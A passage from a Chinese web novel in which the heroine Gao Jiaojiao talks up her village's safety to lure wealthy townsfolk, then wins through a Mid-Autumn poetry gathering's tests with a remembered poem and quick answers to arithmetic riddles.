“嫂嫂说的在理,那回头我要是看到喜欢的,一定立马告诉你。” 高娇娇很是欣慰,拍了拍小姑娘肩膀鼓励道, “交给我你只管放心,只要他没定亲没心上人,我保管帮你把人拿下。” 杜映梅十分开心,杜衡十分郁闷。 这都是什么跟什么啊? 凌十三和徐六等人皆是目瞪口呆,简直不敢相信自己的耳朵,现在的女人都这么生猛的吗? 第三百二十五章 不能拆台 马飞翼壮着胆子试图规劝高娇娇和杜映梅, “那个,强人所难不太好吧?” 高娇娇一脸不以为然, “有何不好?我家小妹长得好性子良善还能干,看上哪个男的是他烧了高香。 他要是不识抬举,正好我也略通些拳脚,可以教教他怎么做人。” 马飞翼吓的顿时没了声,他听凌十三说了八百遍杜衡嫂嫂多么神勇无敌,那可是一脚能踹死狼的女力士啊! 她要是教谁做人,谁敢不从? 凌十三等人也吓的不敢再出声,他们一点也不想见识杜衡嫂嫂的拳脚。 杜衡忍不住扶额,想叹气,但不敢。 嫂嫂和小妹身上的匪气真是越来越重了,希望今天晚上不会有人被小妹看上,要不嫂嫂怕是真能干出来强人所难的事来。 不敢聊风月,只能聊时局说家事。 说起家里的老头子,徐六不由长吁短叹, “这次蛮子杀大户算是把我家老头子给吓坏了,最近一直张罗着要回老家修房子。 还说为了以防万一,让我带祖母他们先回老家住一段时日。 我的天爷啊,我老家可是在山沟沟里头,方圆十里除了石头还是石头,连棵像样点的树都没有。 要不是实在穷的活不下去,我祖父也不会跑出来讨生活。 现在让我们回去,在那种鬼地方真遇到点什么事,我们才是叫天天不应叫地地不灵呢。” 凌十三没心没肺,哈哈笑着打趣, “你家老头子心里想的肯定是,蛮子才不会去那种一穷二白的地方打草谷,你们回去顶多受点苦,只要命能保住,别的都不算事。” “你还别说,我家老头子保不齐还真就是这么想的。” 徐六如获知音,把手搭在凌十三肩膀上跟他诉苦, “我老家可不比杜衡他家,那是真的穷的鸟不拉屎。 村子就在山里头,进去的路还是山路,弯弯曲曲高低起伏,马车根本进不去,只能靠走路。 整个村不到五十户,散落在各个山头,我家所在的山头一共就三户人家,那两家现在还穷的叮当响呢........” 牛安没好气道, “你小子就别身在福中不知福了,你家好歹还有个老家可以回,我家祖祖辈辈都在城里,出了城根本不知道能去哪儿。 这种时候,不是知根知底绝对安全的地方谁也不敢去,别回头没躲开蛮子,反倒引来了土匪。 我家虽比不得那些大富大贵的人家,但好歹也有几间铺面,有点积蓄。 自从出了事,我爹娘整日提心吊胆,恨不得在家里挖个地洞,你们是不知道我的日子过的有多难。” 马飞翼听到他们这么说,生平头一回庆幸自家够穷,蛮子除非瞎了眼,要不再怎么也不会冲到他家所在的那条胡同。 高娇娇听着他们叽里呱啦的抱怨,觉得挡在眼前的那层窗户纸突然被捅开了,脑子一下子就清明了。 杜衡见高娇娇忽地眼睛大亮,不由有些好奇,凑过来低声询问, “嫂嫂,怎么了?” 高娇娇还沉浸在自己的惊喜中,没留意杜衡突然靠近,被他猛地一问,一抬眼,看到杜衡都已经把脸凑那么近了,不由愣住。 杜衡见高娇娇不说话,愣愣地盯着自己,大眼睛眨啊眨,呆呆的样子十分好玩,忍不住又往她面前凑了凑,想看看她有什么反应。 高娇娇醒过神来,一把推开杜衡的脸,指着他唇上泛起的那层青色绒毛嫌弃道, “别离太近,我不想看见你们脸上刚长出来的胡子,乱七八糟,各有各的难看。” 杜衡傻了眼,愣愣抬起手,摸了摸自己嘴唇上方青涩的胡须。 很难看吗? 他觉得还好吧,只是比之前的绒毛颜色稍稍重了些,浓密了一点。 凌十三他们说他这已经是好的了,不像他们刚开始长胡子的时候,时不时从下巴上冒出一两根,看着像是肉痦子上长的毛毛一样恶心。 没想到还是被嫂嫂嫌弃了,他能怎么办? 他总不能不长胡子吧,或许可以学着京城那边的男子,往脸上敷点粉遮挡一下? 可那样会不会太浮夸,显得过于臭美了些...... 杜衡心里正跟跑马一样乱,高娇娇却已经磨刀霍霍向财神了。 只见她很是不屑冲徐六他们道, “蛮子哪有你们说的那般吓人,好几十个蛮子都冲到我们村了,还不是被我们一网打尽。” 说起这个,徐六等人顿时来劲了,立刻凑上来七嘴八舌问高娇娇事情经过。 哪怕他们已经跟杜衡打听过了,但这种奇闻哪儿有当事人说来过瘾。 高娇娇毫不吝啬往自己脸上贴金,把自己如何大杀四方,如何一脚将蛮子头领踹下马并一刀结果了他,绘声绘色的说了一通。 听得亲身经历过此事的杜映梅和杜衡都有点怀疑人生,嫂嫂的确勇猛无敌,但他们打蛮子好像也没有那么轻松吧? 还有他们村什么时候有好几百精壮乡兵了,还个个装备精良,自幼习武,弓马娴熟,随随便便就能剿灭匪寨,驱除流民了? 最最重要的是,他们是准备修筑城墙,把村子打造的固若金汤。 而不是村子已经建好了城墙和城门,现在已经固若金汤,比军堡还无坚不摧了啊。 可徐六等人信了,不仅信了,还对高娇娇说的亲朋好友过来投奔十分感兴趣。 徐六一脸殷切,追着高娇娇问, “嫂嫂说的可是真的?你们村真的愿意收留过来投奔的人? 真的会专门建独家小院给他们住? 真的能保障他们的安全,像保护自己村里的人一样保护他们吗?” 高娇娇毫不迟疑,十分肯定点头道, “自然是真的,不信你们问杜衡。” 杜衡...... 他能说什么? 嫂嫂的戏台都已经搭起来了,他难道还能拆她的台吗? 当然不能! 他只能硬着头皮含糊道, “我们村前前后后已经收留不少人了。” 他这也不算说谎吧,他们确实收留了一些人,只不过那些人都是无家可归的流民。 徐六高兴万分,一把揽住杜衡肩膀,万分热切道, “好兄弟,有这好事你不早说。 就冲咱俩这关系,我去你们村买个独门小院住住,你是不是要给我算便宜点?” 牛安一听这话立马抢着道, “徐老六,你这就不够兄弟了。 我才不会让杜兄为难,只要杜兄帮我牵个线,我立马去你们村买房。 以后咱们还能在一起多多探讨学问,我爹娘肯定乐意之至。” 徐六瞪着牛安,牛安不服气瞪了回去,还扯着马飞翼来当判官, “你说说我俩谁够兄弟,哪有上赶着占兄弟便宜的啊?” 马飞翼懒得理会徐六和牛安的糊涂官司,只眼巴巴盯着杜衡问, “你们村真的能挡住蛮子啊? 那我能不能去你们村租个房子? 我老娘自打蛮子进城后,夜里就睡不安稳。 你们那里山清水秀,人杰地灵,兴许我娘去了你们那儿就能好一点。” 杜衡看着抢着想要去他们村的徐六等人,再看看一脸懊悔,好似自己不小心说错了话引来的麻烦,想假装什么都没说过,不管徐六他们怎么追问都什么也不可肯说的高娇娇。 忍不住怀疑自己交友的眼光,他这帮朋友是不是太蠢了些? 嫂嫂她明显是在挖坑啊,他们难道真的一点都看不见,还要抢着往下跳? 杜映梅已经看傻了眼,她脑子有点乱。 她明知道嫂嫂在说谎骗人,可她不知道嫂嫂为什么要骗他们,难道是想拐他们去村里买房吗? 第三百二十六章 下笔如有神 高娇娇当然不是为了拐徐六几人,她要的可是十万两,把徐六他们几个卖了也不够。 她要用徐六他们当诱饵,钓大鱼们上钩。 转眼就到了晚上,高娇娇带着杜映梅,跟杜衡他们一起去参加诗会。 诗会的举办地是在河畔程府别苑,程家是岚县第一大户,祖上出过三位举人,其中一位还做到了正五品京官。 现在虽不如祖上风光,但仗着祖上余荫,还有在九川书院成立时的鼎力相助,依然是岚县举足轻重的大户人家。 程府别苑临水而建,每年中秋诗会这晚,别院周围都热闹非凡。 高娇娇他们赶到时,河边已经摆满了大大小小的摊位,各色商品,琳琅满目,叫卖声不绝于耳,比庙会还要热闹几分。 再往上看,树上挂着五颜六色的花灯,在水中倒影出一片绚烂多彩,交相辉映中花船慢悠悠飘过,飘来一段动听的琴瑟鼓乐。 看的杜映梅眼花缭乱,走一步停三回,恨不得多长几只眼睛。 高娇娇看到这里聚集了这么多人,不由有些担心。 且不说还有蛮子潜藏在城中,可能会故意制造混乱。 单就说这么多人都聚集在这片区域,却只有寥寥几个衙役来回巡逻,一旦发生动乱,不堪设想。 更何况树上还挂着这么多灯,哪怕临水,万一着火,也是麻烦的很。 越看越不安,高娇娇忍不住凑到徐六跟前,压低声音道, “这里人太多了,衙门安排的人手是不是有些少? 你要不要去找你爹说说,让他多派一些人来?” 徐六看着换上了锦衣华服,梳起了高髻,艳若桃李的高娇娇,不知怎地,竟有几分胆怯,不敢多看她,忙垂下眼低声解释道, “今晚知县大人和府学的训导大人都要出席,衙门的人大多都被安排在别苑内外把守了,这里实在是抽不出太多人手来。 就这两队巡防的衙役,还是我爹力排众议,跟知县大人争取来的。” 高娇娇拧了拧眉,要是这样的话,那还真没辙儿了。 希望今晚大家的运气都能好一点,千万不要出事吧。 徐六见高娇娇要退回原位,不禁忙道, “你无需太过担心,今晚来摆摊的摊贩都在衙门里备了案,领了牌子。 衙门已经再三警告他们要小心火烛,警惕蛮子藏身其中。 一旦发现有可疑人员,他们会立即上报巡防的衙役。 若是逮着蛮子,算他们立功,可以减免摊位费。” 高娇娇松了口气,要是这样可就太好了,人人监督,比光指望官府要管用的多。 见高娇娇眉头舒展,脸上浮出笑意,徐六的心情不由跟着愉悦了起来。 杜衡看到徐六盯着高娇娇笑的一脸荡漾,不由面上一冷,沉声唤道, “小妹,嫂嫂,你们跟紧我,咱们快到了。” 高娇娇和杜映梅忙跟了上去,徐六不舍地盯着高娇娇的背影,连牛安凑到跟前都没发现。 牛安撞了下徐六肩膀,压低声音打趣道, “怎么着?看傻眼了?” 徐六有些尴尬,忙替自己辩解道, “我,没,她忽然打扮成这样,我有点不习惯。” 牛安笑而不语,都是风月场上的老手,谁不知道谁啊。 爱美之心人皆有之,只是美人如花却满身是刺,旁边还有个护花的狼崽子,万万碰不得啊。 凌十三没留意到徐六和牛安的小动作,他满脑子都是高娇娇对杜映梅说的话。 让她今晚好好看看,挑个喜欢的俊俏小郎君。 听听,这是一个女人能说出口的? 就算是个男人,也不能这般口无遮拦啊! 偏偏杜映梅那丫头还特别听话,真打扮的花枝招展来了,还没进院就伸长脖子东看西看,难不成她还真准备强扭个瓜尝尝甜不甜? 高娇娇不知道后头人的心思各异,她好奇的打量着眼前的程府别苑。 只见大门是常见的金柱大门,两边邱门墙也是白灰抹面,大小额枋及垫板是苏式彩画,门口有抱鼓石、上下马石、拴马桩等,十分规整,看着跟普通的大户之家也没什么两样。 除了两侧墙上挂满的各式灯笼,花团锦簇,莹莹光亮,十分漂亮。 每个灯笼下方还挂着一条白色条带,上面写满了字,高娇娇刚要眯着眼睛看看清楚,就见守门的青衣小厮微笑着为杜衡递上了笔墨纸砚, “还请诸位留下墨宝。” 高娇娇这才知道,不是随便什么人都能进去别苑参加诗会的,得过三关才能到达知县大人他们所在的主会场。 第一关便是入门诗,要当众赋诗一首,获得第一关的关主认可,方可通过。 若是才学不够,写不出好诗,也可捐五两银子给积善堂,以善心补足才能,方可入内。 高娇娇觉得举办诗会的程家真是鸡贼,这简直就是解他人之囊,慷自己之慨,一个人五两,他怎么不去抢? 杜映梅本来还十分向往,很想去诗会上见识一番,听到一个人要五两银子,顿时觉得不去也罢。 拉着高娇娇就要后退,还十分口是心非道, “我觉得去河边逛街,看花船上的人唱曲也挺好。” “好什么好?来都来了,当然要进去看看。” 高娇娇一把把杜映梅拽回来,等杜衡写完,就接过他手里的笔。 不会作诗,她还不会作弊嘛,从小到大,她背过的古诗文,可一点不比杜衡他们少。 此时不用,更待何时? 杜衡还没来得及告诉高娇娇她们,女眷不用作诗不用交入门费,只要他能通过,就能以他家眷的身份一起入内。 就被高娇娇抢走了笔,然后就眼睁睁看着她下笔如有神,一气呵成,不由惊呆了。 徐六等人也惊呆了,忍不住凑上来看,马飞翼直接读了出来, “八月十五中秋节,人皆竞赏天边月。 心月孤圆自不知,不涉圆亏光影灭.” 青衣小厮上前一步,拿起高娇娇写完的条带,笑着赞道, “小娘子好才情,今晚看了那么多赏月颂月的诗,当属小娘子的最为不同。” 高娇娇厚着脸皮谦虚两句,把笔递给马飞翼,拉着杜映梅走到一旁,把另一首诗教给她。 她至今还能记住的古诗,要么经常考,要么简单明了不容易忘记。 经常考的那些她自然是不敢拿来用的,那就只有那些简单明了的,一首诗上截四句,凑个数能过关就行。 高娇娇觉得自己是蒙混过关,却不知她这随随便便就能写出来两首诗,还是两首很是不俗风格迥异的诗的架势有多惊人。 过了第一关,进了前院,徐六等人还不敢相信他们都做不到的事,被据说没正经读过书的高娇娇做到了。 甚至她还得了第一关关主,城中名士张老先生的夸赞,送了她一盏自己亲笔题字的小灯笼把玩。 徐六忍不住跟杜衡感叹, “兄弟你糊涂啊,早知道嫂嫂有如此才情,该让她也帮我们作几首诗才对。 好歹是九川书院的,交入门费才能进来,我们也着实有点丢脸。” 杜衡心想,我也是今天才知道她会作诗,还作的这般好,怎么提前让她帮你们? 但他不想被人知道他跟他们一样不够了解高娇娇,便抬起眼皮冷冷道, “那是我嫂嫂,不是你们嫂嫂,别动不动就一口一个嫂嫂的。 还有,你们的脸早就丢完了,也不在乎再多丢一点。” 徐六........ 不是,兄弟,你的嘴上是抹了毒了吗? 凌十三很是同情地拍了拍徐六肩膀,你现在才见识到杜衡的真面目已经晚了。 第三百二十七章 过关 因提着小灯笼,高娇娇一进入院里就引起了众人的关注。 见她虽然穿戴一般,但长相明媚动人,气度大方舒朗,很是不俗。 再看杜衡面如冠玉气质温润,两人并排走过来,真是一对神仙般的人,不由都好奇打探起他们的身份来。 至于跟在他俩身边的凌十三等人,直接被大家给忽略了。 高娇娇的目标人物都在主会场,她自然不愿在前面浪费太多时间,进了院子就直奔下一关的关口。 这次不是一墙的灯笼,而是一段数十丈的路两旁都挂满了灯笼,灯笼下方依旧挂着白色条带,但题目却不是写跟中秋有关的诗了,而是解题。 高娇娇对猜灯谜、对对子什么的不感兴趣,听杜衡说只要他能过关就能带她们进去,也不想再出风头,就没打算再出手。 可听到介绍规则的小厮说,只要能答对十道题就能过关,答出二十道题可以领取奖品,答对的越多,奖品越贵重。 若是能答对三十道题,就能得到一把价值五十两的乌木折扇。 那把折扇就在架子上摆着,乌黑油亮,能照出人影,又有绸缎般柔滑的光亮,一点都不像木头,更像是美玉。 难怪价值五十两,可真是个好东西。 高娇娇忍不住去看灯笼下挂着的谜题,发现居然不全是灯谜对子,还有数学题,不由乐了。 这个她擅长啊,她毫不客气拉过凌十三他们帮忙,把所有的数学题灯笼都拿过来,然后拿起笔就开始解题。 周围的人被他们这番操作惊到了,有人忍不住嘲笑, “抢那么多题,真当自己都能做得出来?” 有人大胆质疑, “你们不会是自己做不出来,也不想让我们做吧?” 更多人的则是表达不满, “你们怎么能这样呢?” “这未免也太霸道了吧!” “大家一起来解题,谁能解出来就算谁的,不能你一个人全霸占了去!” “就是,就是,到底是哪儿来的乡野村妇,怎么这般不知礼数?” ....... 杜映梅有点顶不住,想要劝嫂嫂要不还是算了吧。 凌十三却跟一尊铁塔一样挡在高娇娇前面,不许任何人靠近。 徐六和牛安也有样学样,死死守着灯笼不放。 他们也知道这么做有点不太好,但高娇娇说了,即便她拿不到乌木扇,也有把握解开十道题。 这样就能把他们全部带进下一关,不用花钱交入门费了。 第二关的入门费是十两银子,即便是徐六也忍不住肉疼。 更何况不花钱就能进去,说出去也有面子。 所以即便被人指指点点,他们也会守住这片净土,让高娇娇安心解题。 杜衡和马飞翼见他们这般,只得当做看不见,继续专心解自己有把握能解开的谜题。 高娇娇被朱钰耳提面命教了那么多天,已经能毫无障碍的把咬文嚼字的东西,同步在脑海里翻译成通俗易懂的文字。 古代的数学题对她来说,唯一的障碍就是翻译,解决这个问题后,解题就会变得极其容易。 这里的题最难的不过也就是鸡兔同笼、百钱买百鸡之类的不定方程问题,又不需要她写出过程,只用写出最终答案即可。 高娇娇自然算起来飞快,还不等周围众人把不满嚷嚷完,她就已经开始写答案了。 围观众人见她写的这么快,不由讥讽她是想过关想疯了,随便写个答案就交上去,想靠胡蒙碰运气过关。 连凌十三等人都不禁怀疑高娇娇是不是骗了他们,哪有人能算的这么快的,连教他们算学的夫子只怕也不能。 可事已至此,即便是胡写的,也只能交上去碰碰运气了。 哪知小厮接过灯笼,去屋里找关主验证过后,出来居然宣布“答对”! 众人震惊,看向高娇娇的眼神不由变了。 但有人还是不服气,觉得不过这道题兴许就是她运气好蒙对了而已。 可随着一道又一道题被高娇娇接连解开,还都是全对后,众人都不淡定了。 也不管自己解开了几道题,都跑来围着看高娇娇解题。 弄的凌十三他们紧张不已,生怕他们影响了高娇娇,张开手臂牢牢把高娇娇护在后头,把送题过去验证的活儿都交给了杜映梅,不敢离开一步。 杜映梅感觉自己像是在做梦一样,走路都有些轻飘飘。 一趟趟过去,一趟趟回来,耳边全是小厮越来越震惊的回复: “答对!” “又对了!” “全都对了!” ........ 离三十道题的目标越来越近,嫂嫂真要把乌木扇给他们赢回来了! 杜衡答对了十二道题,拿到了过关令牌。 马飞翼勉强凑够了十道,也拿到了令牌。 高娇娇终于算完了第三十道题,随着小厮激动地喊出, “第三十道题答对,请答题人上来领奖!” 围观众人一片哗然,凌十三等人不由高兴地欢呼了起来。 杜映梅兴奋地抱住了高娇娇,高娇娇揉了揉有些发酸的手腕,看向那把乌木扇。 五十两,到手了! 关主很想跟高娇娇好好聊聊,这些题都是他出的,他自觉很有难度,弄这些出来也是想为通关者制造点困难。 毕竟主会场地方有限,是不可能放那么多人进去的。 但是没想到居然有人专门挑这种题做,一口气解开了三十道题,还是个年轻貌美的小娘子。 这让关主很好奇,她的算学究竟是跟谁学的,为何会如此精通此道? 对此,高娇娇给了个让人挑不出错的解释, “家中叔父是位老秀才,平日里爱琢磨这些,就顺手教了我些。 他说我身为女子,将来要打理内宅,学好算学有助于理清账目。” 关主好奇的对象不由换成了高娇娇口中的叔父,高娇娇推说叔父性子孤僻不喜社交,关主自然不好强人所难,只得作罢。 终于到了主会场,高娇娇看着前面的亭台楼阁小桥流水,顿觉跟外头很是不同。 外头多是普通书生和读过一些书却没有功名的平头百姓,这里不是秀才举人,就是富豪乡绅。 没有人围在一起解题,想方设法闯关,而是真正的赏月聚会,饮酒作诗,弹琴吹笛,提笔作画,舞剑助兴....... 连那些三五成群聚在一起说说笑笑的小娘子,看着都优雅斯文的很。 这样的场景,让从没接触过这些的杜映梅不由更加手足无措。 徐六和牛安也觉得手脚不知道该往哪里放,他们倒不是紧张跟这些人打交道,而是担心高娇娇交代他们的事办不好。 虽然他们也没搞懂高娇娇让他们说的那些话是什么意思,但总感觉她好像要搞大事了。 高娇娇左右环视一圈,将目标锁定在了郑子安夫人,县学教谕之女梅元霜身上。 她没见过梅元霜,但是听杜衡说起过,相信以郑子安和杜衡的交情,梅元霜多少也听说过她。 毕竟得知她在坐月子后,她可是专门让爹打了几只鹌鹑,又捞了不少银鱼,一并让杜衡送了过去。 教谕在官场上地位不算高,但是在诗会上还是很有分量的,从梅元霜着手,也许很快就能见到她最想见到的那拨人。 不出高娇娇所料,他们刚一进来,杜衡和马飞翼等人就被九川书院的夫子叫了过去。 而她也顺理成章,被杜衡推到了梅元霜那边。 然后她手里的小灯笼,还有被杜映梅当成宝贝小心翼翼拿在手里的乌木扇,立刻吸引了一众夫人小姐的注意。 再然后通过交谈,众人得知了她的身份,开始跟她打听起石楼堡跟蛮子那一战的经过。 再再然后,她就被带到了花厅里喝茶的老夫人那桌。